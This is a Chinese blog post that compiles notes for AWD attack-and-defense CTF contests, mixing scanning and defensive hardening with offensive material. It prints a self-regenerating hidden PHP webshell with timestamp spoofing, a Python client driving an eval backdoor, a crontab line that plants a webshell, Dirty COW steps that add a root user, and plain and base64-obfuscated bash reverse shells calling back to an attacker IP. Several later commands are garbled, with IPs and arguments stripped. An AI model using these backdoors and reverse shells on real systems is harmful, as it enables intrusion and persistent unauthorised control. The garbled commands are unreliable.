AWD基本资料

前阵子在准备AWD比赛,找了一些资料,基本都是网上的,做了简单的集合。可以做个 总结。

AWD基本资料

 

登录服务器:

 

攻击流程:信息搜集、网站目录扫描、攻击服务端口、攻击WEB服务、权限提升、权限维持

 

防御流程:

网站备份、数据库备份、信息搜集、

安全加固(更改口令,备份检查,后门查杀、关闭进程、关闭端口、漏洞修复、文件监控、部署WAF、流量监控)

 

 

信息搜集:

主机探测:

一般使用nmap或netdiscover

 

查看自己主机IP

ifconfig          #linux

ipconfig         #windows

 

扫描存活主机

nmap -sS 192.168.1.0/24         #扫描192.168.1.1-192.168.1.254的主机

netdiscover -i eth0 -r 192.168.111.0/24    #同上

 

端口探测

nmap -sV 192.168.0.2            #扫描主机系统版本

nmap -sS 192.168.0.2            #扫描主机常用端口

nmap -sS -p 80,445 192.168.0.2  #扫描主机部分端口

nmap -sS -p- 192.168.0.2        #扫描主机全部端口

 

nmap常用命令:

nmap -sS 192.168.96.4  //SYN扫描,使用最频繁,安全,快

nmap -Pn 192.168.96.4  //目标机禁用ping,绕过ping扫描

nmap -sU 192.168.96.4  //UDP扫描,慢,可得到有价值的服务器程序

nmap -A 192.168.96.4  //强力扫描,耗时长

 

 

网站目录扫描:

网站目录扫描通常采用御剑或者是7kbscan,准备好对应字典

已经放置在文件夹下

 

 

攻击服务端口和WEB服务

WEB 方面的语言多为PHP,小部分为Java 和Python。这里的WEB环境分两种情况。

一种是已有漏洞的框架,一种是出题人写的框架。如果是已有漏洞的框架,通常会比较明显。比如说Struts2各种漏洞等等,用工具扫就可以扫出来。

 

 

可以使用这款软件来进行POC利用

https://gobies.org/ 主机探测、端口爆破和漏洞检测

文件包含漏洞:

使用通过 ../../../../../flag 获取

 

可能会使用SQL注入,SQL盲注,文件包含,文件上传,XSS,暴力破解等手法来进行攻击,详细攻击手法参考书籍。这里介绍各种CMS、框架漏洞的POC

 

目前有Struts2、万户OA、致远OA、ThinkPHP漏洞、

 

同时,通过vulbase,提供了各类漏洞库的POC,目前已放置在Centos虚拟机中,启动方式如下:

docker 运行

cd /download/vulbase-master

docker pull vultarget/vulbase:0.3

docker run -it -d -p 80:80 vultarget/vulbase:0.3

默认密码 admin / 1q2w3e4r

直接浏览器访问改ip地址,输入用户名和密码即可

 

权限提升

一般提供的

常用权限提升方法:

 

1、内核脏牛提权

uname -a #查看内核版本信息

内核版本为3.2.78 ,小于3.9的话,就可以使用。(CVE-2016-5195)

通过Xftp把文件上传到CentOS里面,编译下载的Exp:

gcc -pthread dirty.c -o dirty -lcrypt

rm -rf /tmp/passwd.bak

./dirty 123456

执行完成后,会在目标主机上添加一个名为firefart,密码为123456且具备root权限的用户,

2、linux-exploit-suggester检测来进行提权

用法:文件上传到Linux目录下,执行

./linux-exploit-suggester.sh

会提示存在哪个漏洞版本可以进行提权操作

 

 

3、SUID提权

具体操作参考文档《SUID提权总结及利用演示》

 

权限维持

1、不死马

代码:

<?php 

           ignore_user_abort(true); 

           set_time_limit(0); 

           unlink(__FILE__); 

           $file = '.config.php'; 

           $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>'; 

           //pass=pass 

           while (1){ 

               file_put_contents($file,$code); 

               system('touch -m -d "2022-10-01 09:10:12" .config.php'); 

               usleep(5000); 

           } 

       ?> 

 

 

将该php文件命名为config.php上传到服务器,然后进行访问,访问路径为

http://x.x.x.x/uploads/config.php,之后,

会在该路径下循环生成名字为.config.php的不死马隐藏文件

 

然后使用蚁剑访问,URL:

http://x.x.x.x/uploads/.config.php?pass=pass,连接密码是a

 

 

 

<?php @eval($_POST['shell']);?>

shell 变量用于接收 python 代码传过来的字符串。

eval() 函数将接收的字符串当作命令执行。

所以发送的代码。

import requests

url = ‘192.168.1.1’

passwd = ‘shell’    # 其实就是一句话木马中的变量shell

cmd = ls

# 将命令传给一句话木马

 

payload = {

    passwd: "system(\'" + cmd + "\');"

}

# 向目标url发送post请求

 

response = requests.post(url=url, data=payload, timeout=3)

# 回显命令执行的结果

print(response.text)

 

 

2、Crontab写马

1.定时任务写马

*/2 * * * * /bin/echo '<?php eval(@$_POST['password']);?>' > /www/admin/localhost_80/wwwroot/DVWA-master/hackable/uploads/shell.php

 

1.使用命令crontab -e进入编辑界面

2.输入上面命令,上面是将一句话木马写入/www/admin/localhost_80/wwwroot/DVWA-master/hackable/uploads/中,并命名为shell.php,时间间隔是2分钟执行一次

3.crontab -l ,可以查看到当前正在执行的任务

 

 

2. 反弹shell

1、nc反弹

在靶机在执行 ,xx.xx.xx是你本机的ip地址

bash -i >& /dev/tcp/xx.xx.xx/8000  0>&1

 

在本机上执行

nc -lvnp 8000

 

就可以收到反弹过来的shell了

 

2、nc采用base64编码反弹

 

首先把这个语句进行base64编码,192.168.1.1是本机的ip地址

bash -i >& /dev/tcp/192.168.1.1/8000  0>&1

 

编码后为

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84MDAwICAwPiYx

 

在靶机执行

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84MDAwICAwPiYx}|{base64,-d}|{bash,-i}'

 

接着在本机执行

nc -lvnp 8000

 

 

https://blog.csdn.net/qq_44159028/article/details/124318602

 

 

网站备份

目的是防止修改源码出错,或被对手恶意删除源码,或快速恢复网站防止被裁判组check探测服务存活失败丢分。

 

压缩文件:

tar -cvf web.tar /var/www/html

 

解压文件:

tar -xvf web.tar -C /var/www/html

 

 

备份到本地

使用FileZilla

或者直接用MobaXterm连上服务器,直接备份下来

 

数据库备份

mysql -uroot -proot         #进入数据库,用户名和密码都是root

 

备份服务器上所有数据库

mysqldump –-all-databases > 123.sql

 

备份指定数据库:

mysqldump –u username –p password databasename > bak.sql

 

mysql备份单个数据库命令

mysqldump --column-statistics=0 -h主机ip -P端口号 -u数据库用户名 -p数据库密码 数据库名称 > 想要备份的文件名称.sql

 

 

信息搜集

netstat -ano/-a #查看端口情况
uname -a  #系统信息
ps -aux、ps -ef #进程信息
cat /etc/passwd #用户情况
ls /home/ #用户情况
id   #用于显示用户ID,以及所属群组ID
find / -type d -perm -002 #可写目录检查
grep -r “flag” /var/www/html/  #查找默认FLAG
find /var/www/html -name ‘flag*.*’   # 查找名字为flag

 

口令更改

信息搜集后,将未授权和弱口令问题及时修复,包括但不限于服务器SSH口令、数据库口令和WEB服务口令。

passwd username    #ssh口令修改

 

mysql用户密码的更改:

 

mysql -uroot -proot  # 先登录mysql服务器,u后面是用户名,p后面是密码,这里的用户名和密码都是root

set password for username@localhost = password(newpwd);

#其中 username 为要修改密码的用户名,newpwd 为要修改的新密码

例如

set password for root@localhost = password(‘root’);   #密码是root

如果这条语句不行,可以使用

ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';

 

默认大部分都是弱口令,例如一般默认密码为 admin/admin, admin/123456, test/test,如果被其他队伍改了那就gg了。

后门查杀

通过命令查看可疑文件:

find /var/www/html -name *.php -mmin -20 #查看最近20分钟,在/var/www/html目录下,后缀名为.php的,被修改的文件

find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件

grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    #查包含关键字的php文件

find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

 

一般查杀

使用河马webshell或者D盾

 

 

 

关闭进程

查看进程: ps aux

会有进程的pid,根据pid,删掉进程。

 

删除进程: kill -9 pid

 

关闭端口

关闭端口,可以采用在防火墙上拦截的方式,具体操作已写入文档里

 

文件监控

 

监测攻击payload

tail -f *.log,看日志,不言而喻,抓他们的payload并利用。

 

curl获取flag

 

 

常用Linux命令:

linux操作有很多命令,但是线下赛的防护工作中常用的也就那么一些,我们平时可以留意并总结起来,便于我们比赛使用。

ssh <-p 端口> 用户名@IP  

scp 文件路径  用户名@IP:存放路径    

tar -zcvf web.tar.gz /var/www/html/  

w     

pkill -kill -t <用户tty>     

ps aux | grep pid或者进程名    

#查看已建立的网络连接及进程

netstat -antulp | grep EST

#查看指定端口被哪个进程占用

lsof -i:端口号 或者 netstat -tunlp|grep 端口号

#结束进程命令

kill PID

killall <进程名>  

kill - <PID>  

#封杀某个IP或者ip段,如:.  

iptables -I INPUT -s . -j DROP

iptables -I INPUT -s ./ -j DROP

#禁止从某个主机ssh远程访问登陆到本机,如123..  

iptable -t filter -A INPUT -s . -p tcp --dport  -j DROP  

#备份mysql数据库

mysqldump -u 用户名 -p 密码 数据库名 > back.sql    

mysqldump --all-databases > bak.sql      

#还原mysql数据库

mysql -u 用户名 -p 密码 数据库名 < bak.sql  

find / *.php -perm       

awk -F:  /etc/passwd    

crontab -l    

#检测所有的tcp连接数量及状态

netstat -ant|awk  |grep |sed -e  -e |sort|uniq -c|sort -rn

#查看页面访问排名前十的IP

cat /var/log/apache2/access.log | cut -f1 -d   | sort | uniq -c | sort -k  -r | head -  

#查看页面访问排名前十的URL

cat /var/log/apache2/access.log | cut -f4 -d   | sort | uniq -c | sort -k  -r | head -  

 

posted @ 2022-12-05 20:50  Cloud_strife  阅读(313)  评论(0编辑  收藏  举报